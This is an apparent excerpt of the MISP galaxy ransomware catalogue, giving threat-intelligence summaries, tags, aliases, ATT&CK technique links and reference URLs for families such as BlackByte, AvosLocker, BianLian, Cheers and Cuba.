https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://www.ransomlook.io/group/blackbasta
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a
https://www.sentinelone.com/labs/blackbasta-ransomware-group-an-analysis/
https://www.trendmicro.com/en_us/research/22/f/blackbasta-ransomware-attacks-target-windows-and-linux.html
https://www.bleepingcomputer.com/news/security/blackbasta-ransomware-linked-to-conti-gang/

BlackByte

BlackByte is recently discovered Ransomware with a .NET DLL core payload wrapped in JavaScript. It employs heavy obfuscation both in its JavaScript wrapper and .NET DLL core.

Once the JavaScript wrapper is executed, the malware will de-obfuscate the core payload and execute it in memory. The core .DLL is loaded and BlackByte will check the installed operating system language and terminate if an eastern European language is found.

It will proceed to check for the presence of several anti-virus and sandbox-related .DLLs, attempt to bypass AMSI, delete system shadow-copies in order to hinder system recovery, and modify several other system services (including Windows Firewall) in order to “prep” the system for encryption. Once the system is “ready” for encryption, it will download a symmetric key-file which will be used

to encrypt files on the system. If this file is not found, the malware will terminate.

Unlike most Ransomware today, BlackByte uses a single symmetric encryption key, and does not generate a unique encryption key for each victim system, meaning the same key can be used to decrypt all files encrypted by the malware.

This makes for substantially easier key-management for the actors behind BlackByte at the cost of a weaker encryption scheme and easier victim system recovery (as there is only a single online point with a single key to maintain).

As with most Ransomware today, BlackByte has worming capabilities and can infect additional endpoints on the same network.

The tag is: *misp-galaxy:ransomware="BlackByte"*

View relationships graph

BlackByte has relationships with:

- successor-of: misp-galaxy:ransomware="Conti" with estimative-language:likelihood-probability="likely"

Table 13652. Table References

Links
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape
https://redcanary.com/blog/blackbyte-ransomware/
https://www.ic3.gov/Media/News/2022/220211.pdf
https://therecord.media/san-francisco-49ers-confirm-ransomware-attack/
https://www.bleepingcomputer.com/news/security/fbi-blackbyte-ransomware-breached-us-critical-infrastructure/
https://www.picussecurity.com/resource/ttps-used-by-blackbyte-ransomware-targeting-critical-infrastructure
https://www.trellix.com/en-us/about/newsroom/stories/research/trellix-global-defenders-analysis-and-protections-for-blackbyte-ransomware.html
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://www.zscaler.com/blogs/security-research/analysis-blackbyte-ransomwares-go-based-variants
https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups
https://blog.talosintelligence.com/the-blackbyte-ransomware-group-is/
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/

https://news.sophos.com/en-us/2022/10/04/blackbyte-ransomware-returns/
https://blog.talosintelligence.com/2022/05/the-blackbyte-ransomware-group-is.html
https://de.darktrace.com/blog/detecting-the-unknown-revealing-uncategorised-ransomware-using-darktrace
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/trellix-global-defenders-analysis-and-protections-for-blackbyte-ransomware.html
https://www.trendmicro.com/vinfo/my/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte
https://www.ransomlook.io/group/blackbyte

RedAlert

Ransomware

The tag is: *misp-galaxy:ransomware="RedAlert"*

Table 13653. Table References

Links
https://www.ransomlook.io/group/redalert

Cheerscrypt

Ransomware

The tag is: *misp-galaxy:ransomware="Cheerscrypt"*

GwisinLocker

Ransomware

The tag is: *misp-galaxy:ransomware="GwisinLocker"*

Luna Ransomware

Ransomware

The tag is: *misp-galaxy:ransomware="Luna Ransomware"*

AvosLocker

In March 2022, the FBI and the U.S. Treasury Financial Crimes Enforcement Network released a joint advisory addressing AvosLocker and their activity targeting organizations across several critical infrastructure sectors. The RaaS gang deploys ransomware onto their victim's networks and systems, then threatens to leak their files on the dark web if they don't pay up. AvosLocker is both the name of the RaaS gang, as well as the name of the ransomware itself.

In May 2022, AvosLocker took responsibility for attacking and stealing data from the Texas-based healthcare organization, CHRISTUS Health. CHRISTUS Health runs hundreds of healthcare facilities across Mexico, the U.S., and South America. The group stole information from a cancer patient registry which included names, social security numbers, diagnoses, dates of birth, and other medical information. The nonprofit Catholic health system has more than 600 healthcare facilities in Texas, Louisiana, New Mexico, and Arkansas. There are also facilities in Columbia, Mexico, and Chile.

Fortunately, the ransomware attack was quickly identified and was limited. While other healthcare organizations have not been as fortunate with ransomware attacks, the AvosLocker attack didn't impact CHRISTUS Health's patient care or clinical operations. CHRISTUS Health didn't reveal whether or not the security incident included ransomware, data exfiltration or extortion, but due to AvosLocker's reputation, it is more than likely that the incident included at least one of the three.

The tag is: *misp-galaxy:ransomware="AvosLocker"*

AvosLocker is also known as:

- Avos

Table 13654. Table References

Links
https://www.avertium.com/resources/threat-reports/in-depth-look-at-avoslocker-ransomware
https://unit42.paloaltonetworks.com/atoms/avoslocker-ransomware/
https://www.kroll.com/en/insights/publications/cyber/avoslocker-ransomware-update
https://www.picussecurity.com/resource/avos-locker-ransomware-group
https://brandefense.io/blog/ransomware/in-depth-analysis-of-avoslocker-ransomware/
https://blog.talosintelligence.com/avoslocker-new-arsenal/
https://www.techrepublic.com/article/avos-ransomware-updates-attack/
https://www.tripwire.com/state-of-security/avoslocker-ransomware-what-you-need-to-know
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker
https://malpedia.caad.fkie.fraunhofer.de/details/elf.avoslocker
https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html

https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen

https://www.ic3.gov/Media/News/2022/220318.pdf

https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux

https://blog.lexfo.fr/Avoslocker.html

https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html

https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/

https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners

https://unit42.paloaltonetworks.com/emerging-ransomware-groups/

https://news.sophos.com/en-us/2021/12/22/avos-locker-remotely-accesses-boxes-even-running-in-safe-mode/

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker

https://cdn.pathfactory.com/assets/10555/contents/400686/13f4424c-05b4-46db-bb9c-6bf9b5436ec4.pdf

https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html

https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape

https://blog.cyble.com/2021/07/23/deep-dive-analysis-avoslocker-ransomware

https://blog.malwarebytes.com/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners

https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/

https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html

https://www.ransomlook.io/group/avoslocker

https://www.ransomlook.io/group/avos

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-284a

https://www.zscaler.com/blogs/security-research/retrospective-avoslocker

https://purplesec.us/breach-report/avoslocker-ransomware/

https://www.sentinelone.com/anthology/avoslocker/

PLAY Ransomware

Ransomware

The tag is: *misp-galaxy:ransomware="PLAY Ransomware"*

Qyick Ransomware

Ransomware

The tag is: *misp-galaxy:ransomware="Qyick Ransomware"*

Agenda Ransomware

Ransomware

The tag is: *misp-galaxy:ransomware="Agenda Ransomware"*

Karakurt

Ransomware

The tag is: *misp-galaxy:ransomware="Karakurt"*

Table 13655. Table References

Links
https://www.ransomlook.io/group/karakurt
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a
https://www.bleepingcomputer.com/news/security/karakurt-data-extortion-group-linked-to-conti-ransomware-gang/
https://www.trendmicro.com/en_us/research/22/f/karakurt-data-extortion-group.html

0Mega

0mega, a new ransomware operation, has been observed targeting organizations around the world. The ransomware operators are launching double-extortion attacks and demanding millions of dollars as ransom.

0mega ransomware operation launched in May and has already claimed multiple victims. 0mega maintains a dedicated data leak site that the attackers use to post stolen data if the demanded ransom is not paid. The leak site currently hosts 152 GB of data stolen from an electronics repair firm in an attack that happened in May. However, an additional victim has since been removed, implying that they might have paid the ransom to the 0mega group.

How does it work? Hackers add the .0mega extension to the encrypted file's names and create ransom notes (DECRYPT-FILES[.]txt). The ransom note has a link to a Tor payment negotiation site

with a support chat to reach out to the ransomware group. To log in to this site, the victims are asked to upload their ransom notes with a unique Base64-encoded blob identity.

The tag is: *misp-galaxy:ransomware="0Mega"*

Table 13656. Table References

Links
https://www.bleepingcomputer.com/news/security/new-0mega-ransomware-targets-businesses-in-double-extortion-attacks/
https://cyware.com/news/new-0mega-ransomware-joins-the-double-extortion-threat-landscape-158fb321
https://www.ransomlook.io/group/0mega

Abraham's Ax

Abraham's Ax announced their existence and mission through social media channels such as Twitter posts on November 8, 2022. Abraham's Ax use a WordPress blog as the basis for their leak sites. Abraham's Ax site is available in Hebrew, Farsi, and English. The site also provides versions available via Tor websites, although it appeared to be under construction at the time of analysis. Used domain is registered with EgenSajt.se

The tag is: *misp-galaxy:ransomware="Abraham's Ax"*

Abraham's Ax is also known as:

- Abrahams_Ax

Table 13657. Table References

Links
https://www.secureworks.com/blog/abrahams-ax-likely-linked-to-moses-staff
https://www.ransomlook.io/group/abrahams_ax
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/abrahams-ax

aGl0bGVyCg

Ransomware

The tag is: *misp-galaxy:ransomware="aGl0bGVyCg"*

View relationships graph

aGl0bGVyCg has relationships with:

- similar: misp-galaxy:ransomware="Hitler" with estimative-language:likelihood-probability="unlikely"

Table 13658. Table References

Links
https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/malware/hitler_ransomware.txt
https://twitter.com/fr0s7_/status/1460229982278541315
https://www.ransomlook.io/group/agl0bgvycg
https://www.bleepingcomputer.com/news/security/development-version-of-the-hitler-ransomware-discovered/
https://www.securityweek.com/unfinished-hitler-ransomware-variant-deletes-user-files/
https://www.infosecurity-magazine.com/news/hitler-ransomware-deletes-users/
https://www.theregister.com/2016/08/10/hitler_ransomware/
https://siliconangle.com/2016/08/10/hitler-ransomware-may-be-goosestepping-onto-a-computer-near-you/
https://blog.knowbe4.com/hitler-ransomware-just-deletes-files-instead-of-encrypting-them

Ako

Once installed, Ako will attempt to delete Volume Shadow Copies and disable recovery services. It will then begin to encrypt all files that do not match a hard-coded list using an unknown algorithm. Whilst this is happening, Ako will scan the affected network for any connected devices or drives for it to propagate to.

The tag is: *misp-galaxy:ransomware="Ako"*

Ako is also known as:

- MedusaReborn

Table 13659. Table References

Links
https://digital.nhs.uk/cyber-alerts/2020/cc-3345
https://www.pcrisk.com/removal-guides/16737-ako-ransomware
https://www.pcrisk.com/images/stories/screenshots202001/ako-ransom-note-second_variant.jpg
https://www.pcrisk.com/images/stories/screenshots202004/ako-ransomware-update-2020-04-09-text-file.jpg
https://www.pcrisk.com/images/stories/screenshots202004/ako-update-2020-04-21-text-file.jpg
https://www.pcrisk.com/images/stories/screenshots202004/ako-update-2020-04-21-html-file.jpg
https://www.pcrisk.com/images/stories/screenshots202010/ako-ransomware-update-2020-10-15-text-file.gif
https://www.ransomlook.io/group/ako

https://tripwire.com/state-of-security/ako-ransomware-using-spam-attachments-to-target-networks
https://attackiq.com/2025/01/09/emulating-ako-ransomware
https://sonicwall.com/blog/ako-ransomware-demands-3000-operators-hide-behind-tor

Arvinclub

Arvin Club is a popular Ransomware group with a widespread Telegram presence, which includes personal group chats, and official channels. The group recently launched their official TOR/ Onion website to update their status and release details of their latest attacks and data breaches. Their latest target is Kendriya Vidyala, a chain of Schools in India. The group has exposed the Personally Identifiable Information (PII) of some students.

The tag is: *misp-galaxy:ransomware="Arvinclub"*

Arvinclub is also known as:

- Arvin Club

Table 13660. Table References

Links
http://t.me/arvin_club
https://www.ransomlook.io/group/arvinclub
https://cloudsek.com/ar/threatintelligence/ransomware-group-profile-arvin-club
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/arvin-club

Atomsilo

AtomSilo is a new Ransomware recently seen in September 2021 during one of their attacks by exploiting a recently revealed vulnerability (CVE-2021-26084) in Atlassian's Confluence Collaboration Software for initial access. The Ransomware used the double extortion method which is gaining popularity among ransomware threat actors where they first, exfiltrate the confidential information and as a second step encrypt the system files.

The tag is: *misp-galaxy:ransomware="Atomsilo"*

Table 13661. Table References

Links
https://www.cyfirma.com/outofband/malware-research-on-atomsilo-ransomware/
https://www.zscaler.com/blogs/security-research/atomsilo-ransomware-enters-league-double-extortion
https://twitter.com/siri_urz/status/1437664046556274694
https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/

https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/
https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo
https://chuongdong.com//reverse%20engineering/2021/10/13/AtomSiloRansomware/
https://twitter.com/siri_urz/status/1437664046556274694?s=20
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.ransomlook.io/group/atomsilo

Avaddon

Avaddon is a ransomware malware targeting Windows systems often spread via malicious spam. The first known attack where Avaddon ransomware was distributed was in February 2020. Avaddon encrypts files using the extension .avdn and uses a TOR payment site for the ransom payment.

The tag is: *misp-galaxy:ransomware="Avaddon"*

Table 13662. Table References

Links
https://heimdalsecurity.com/blog/avaddon-ransomware/
https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis
https://www.acronis.com/en-us/articles/avaddon-ransomware
https://www.cyber.gov.au/sites/default/files/2021-05/2021-003%20Ongoing%20campaign%20using%20Avaddon%20Ransomware%20-%2020210508.pdf
https://arxiv.org/pdf/2102.04796.pdf
https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://labs.sentinelone.com/avaddon-raas-breaks-public-decryptor-continues-on-rampage/
https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4

https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://therecord.media/avaddon-ransomware-operation-shuts-down-and-releases-decryption-keys/

https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/

https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure

https://twitter.com/Securityinbits/status/1271065316903120902

https://twitter.com/dk_samper/status/1348560784285167617

https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/

https://www.advanced-intel.com/post/the-rise-demise-of-multi-million-ransomware-business-empire

https://www.bleepingcomputer.com/news/security/another-ransomware-now-uses-ddos-attacks-to-force-victims-to-pay/

https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/

https://www.connectwise.com/resources/avaddon-profile

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://www.mandiant.com/resources/chasing-avaddon-ransomware

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.swascan.com/it/avaddon-ransomware/
https://www.tgsoft.it/files/report/download.asp?id=568531345
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted
https://www.welivesecurity.com/la-es/2021/05/31/ransomware-avaddon-principales-caracteristicas/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.ransomlook.io/group/avaddon

Avos

The tag is: *misp-galaxy:ransomware="Avos"*

View relationships graph

Avos has relationships with:

- similar: misp-galaxy:ransomware="AvosLocker" with estimative-language:likelihood-probability="very-likely"

Aztroteam

The tag is: *misp-galaxy:ransomware="Aztroteam"*

Table 13663. Table References

Links
https://www.ransomlook.io/group/aztroteam

Babuk-Locker

Babuk-Locker emerged in early 2021 as a Ransomware-as-a-Service (RaaS) gang targeting high-value “big game” enterprises across sectors like healthcare, telecommunications, finance, education, and government. It initially deployed crypto-ransomware—encrypting files using ChaCha8 encryption with keys secured via elliptic-curve Diffie-Hellman—and later added a double-extortion model involving data theft and leak site threats. Notable incidents include attacks on the Washington, D.C. Metropolitan Police Department and other organizations. In mid-2021, Babuk’s source code was leaked, prompting both a fragmentation of its core operations and emergence of variants like Babuk Tortilla and Babuk V2. Affiliates exploited vulnerabilities in ESXi hypervisors to deliver destructive variants, and law enforcement actions eventually disrupted key operators.

The tag is: *misp-galaxy:ransomware="Babuk-Locker"*

View relationships graph

Babuk-Locker has relationships with:

- similar: misp-galaxy:ransomware="Babuk Ransomsware" with estimative-language:likelihood-probability="very-likely"

Table 13664. Table References

Links
https://www.bleepingcomputer.com/news/security/leaked-babuk-locker-ransomware-builder-used-in-new-attacks
https://www.bleepingcomputer.com/news/security/babuk-ransomwares-full-source-code-leaked-on-hacker-forum
https://blog.cyberint.com/babuk-locker
https://www.ransomlook.io/group/babuk-locker

Babyduck

The tag is: *misp-galaxy:ransomware="Babyduck"*

Table 13665. Table References

Links
https://twitter.com/PolarToffee/status/1445873002801889280/photo/3
https://www.ransomlook.io/group/babyduck

Bianlian

BianLian used subtle techniques to exploit, enumerate, and move laterally in victim networks to remain undetected and aggressively worked to counter Endpoint Detection & Response (EDR) protections during the encryption phase of their operations. The group has displayed signs of being new to the practical business aspects of ransomware and associated logistics. Generally they seemed to be experiencing the growing pains of a group of talented hackers new to this aspect of criminal extortion.

Infrastructure associated with the BianLian group first appeared online in December 2021 and their toolset appears to have been under active development since then. Finally, we have observed the BianLian threat actor tripling their known command and control (C2) infrastructure in the month of August, suggesting a possible increase in the actor's operational tempo.

The tag is: *misp-galaxy:ransomware="Bianlian"*

Bianlian is also known as:

- Hydra

View relationships graph

Bianlian has relationships with:

- similar: misp-galaxy:ransomware="Hydra" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tactic="Execution" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Defense Evasion" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Discovery" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Impact" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Lateral Movement" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="very-likely"

Table 13666. Table References

Links
https://blog.cyble.com/2022/08/18/bianlian-new-ransomware-variant-on-the-rise/

https://blogs.blackberry.com/en/2022/10/bianlian-ransomware-encrypts-files-in-the-blink-of-an-eye
https://cryptax.medium.com/android-bianlian-payload-61febabed00a
https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221
https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5
https://cryptax.medium.com/multidex-trick-to-unpack-android-bianlian-ed52eb791e56
https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726
https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/
https://rhisac.org/threat-intelligence/bianlian-ransomware-expanding-c2-infrastructure-and-operational-tempo/
https://twitter.com/malwrhunterteam/status/1558548947584548865
https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware
https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2022/slides/VB2022-Hunting-the-Android-BianLian-botnet.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Hunting-the-Android-BianLian-botnet.pdf
https://www.youtube.com/watch?v=DPFcvSy4OZk
https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html
https://www.ransomlook.io/group/bianlian

Blackshadow

BlackShadow is a state-aligned cybercrime group reportedly linked to Iran's cyber operations, first identified in late 2020. Their operations blend data exfiltration with ransom threats, notably targeting Israeli organizations such as Cyberserve—a web hosting provider—and leaking data to inflict reputational damage. Victims included entities like Atraf (an LGBTQ dating app), tour booking services, and museums, reflecting political or ideological motivations over financial gain. Despite carrying out extortion, there is no evidence that BlackShadow employs typical encryption-based ransomware mechanics; instead, they leverage stolen data and the threat of public exposure.

The tag is: *misp-galaxy:ransomware="Blackshadow"*

Table 13667. Table References

Links
https://www.ransomlook.io/group/blackshadow
https://www.cyberscoop.com/hack-and-leak-group-black-shadow-keeps-targeting-israeli-victims/
https://heimdalsecurity.com/blog/cyberserve-hijacked-by-blackshadow-hacker-group-to-extort-customers/

Blacktor

The tag is: *misp-galaxy:ransomware="Blacktor"*

Table 13668. Table References

Links
https://www.ransomlook.io/group/blacktor

Bluesky

Ransomware.

The tag is: *misp-galaxy:ransomware="Bluesky"*

Table 13669. Table References

Links
https://unit42.paloaltonetworks.com/bluesky-ransomware/
https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/
https://yoroi.company/research/dissecting-bluesky-ransomware-payload/
https://www.ransomlook.io/group/bluesky
https://www.watchguard.com/wgrd-ransomware/bluesky
https://www.sentinelone.com/anthology/bluesky/
https://www.unit42.paloaltonetworks.com/bluesky-ransomware/
https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants
https://www.cloudsek.com/blog/technical-analysis-of-bluesky-ransomware

Bonacigroup

The tag is: *misp-galaxy:ransomware="Bonacigroup"*

Table 13670. Table References

Links
https://www.ransomlook.io/group/bonacigroup

Cheers

Cheers is a Linux-based ransomware variant observed starting in May 2022, engineered specifically to target VMware ESXi servers. The malware was developed from leaked Babuk ransomware source code and leverages the SOSEMANUK stream cipher combined with ECDH key exchange for encryption. It terminates all running virtual machines before renaming and encrypting log files

and VM-related extensions—like .vmdk, .vmsn, and .vswp—appending a .Cheers extension. A ransom note titled "How To Restore Your Files.txt" is dropped per directory. The ransomware is attributed to the Chinese-affiliated group BRONZE STARLIGHT (also known as Emperor Dragonfly, DEV-0401), which has previously deployed other strains like Rook, NightSky, and Pandora. Cheers targets a range of industry sectors, with confirmed victims across healthcare, finance, logistics, and manufacturing.

The tag is: *misp-galaxy:ransomware="Cheers"*

Table 13671. Table References

Links
https://www.ransomlook.io/group/cheers
https://www.watchguard.com/wgrd-ransomware/cheerscrypt
https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html
https://www.sentinelone.com/anthology/cheerscrypt/
https://www.sygnia.co/threat-reports-and-advisories/revealing-emperor-dragonfly-a-chinese-ransomware-group/
https://heimdalsecurity.com/blog/cheerscrypt-ransomware-strain-attributed-to-chinese-hacking-group/

Cooming

previous clearnet domain coomingproject.com

The tag is: *misp-galaxy:ransomware="Cooming"*

Table 13672. Table References

Links
https://www.ransomlook.io/group/cooming

Crylock

The tag is: *misp-galaxy:ransomware="Crylock"*

Crylock is also known as:

- Cryakl

Table 13673. Table References

Links
https://bartblaze.blogspot.com/2016/02/vipasana-ransomware-new-ransom-on-block.html

https://blog.checkpoint.com/2015/11/04/offline-ransomware-encrypts-your-data-without-cc-communication/
https://hackmag.com/security/ransomware-russian-style/
https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/
https://securelist.com/cis-ransomware/104452/
https://securelist.com/the-return-of-fantomas-or-how-we-deciphered-cryakl/86511/
https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/
https://twitter.com/albertzsigovits/status/1217866089964679174
https://twitter.com/bartblaze/status/1305197264332369920
https://twitter.com/demonslay335/status/971164798376468481
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj}Cryakl-B/detailed-analysis.aspx
https://www.telekom.com/en/blog/group/article/lockdata-auction-631300
https://www.ransomlook.io/group/crylock
https://www.pcrisk.com/removal-guides/16814-crylock-ransomware
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom.win32.crylock.h
https://www.alartindex.com
https://www.singleton.com/blog/describing-crylock-ransomware
https://www.watchguard.com/

Cuba

The Cuba Ransomware, also known as Colddraw Ransomware, was first identified in the threat landscape in 2019 and built a relatively small but selected list of victims. The group is also known as Fidel Ransomware, due to a characteristic marker placed at the beginning of all encrypted files. This file marker is used as an indicator for the ransomware and its decoder that the file has been encrypted. Despite its name and the Cuban nationalist style on its leak site, it is difficult to assert any connection or affiliation with the Republic of Cuba. The group has been linked to a Russian-language threat actor by Profero researchers due to some details of incorrect translation they discovered, as well as the discovery of a 404 page containing text in Russian on the threat actor's own leak site. According to BlackBerry, based on the analysis of the code strings used in the campaign analyzed in 2023, there were indications that the developer behind the Cuba ransomware speaks Russian. The ransomware operators use a double extortion approach, and following the USA, in August 2022, it was believed that the Cuba ransomware group had compromised 101 entities, demanding $145 million in ransom payments and receiving up to $60 million. The group used a similar set of TTPs, with only a slight change each year, as they generally consist of LOLBins (executables that are part of the operating system and can be exploited to

support an attack), exploits, off-the-shelf and custom malware, as well as intrusion tools like Cobalt Strike and Metasploit. In 2022, the group allegedly developed a relationship with operators of the Industrial Spy market, using their platform as a means of data leakage.

The tag is: *misp-galaxy:ransomware="Cuba"*

Cuba is also known as:

- COLDDRAW
- Fidel

View relationships graph

Cuba has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="very-likely"
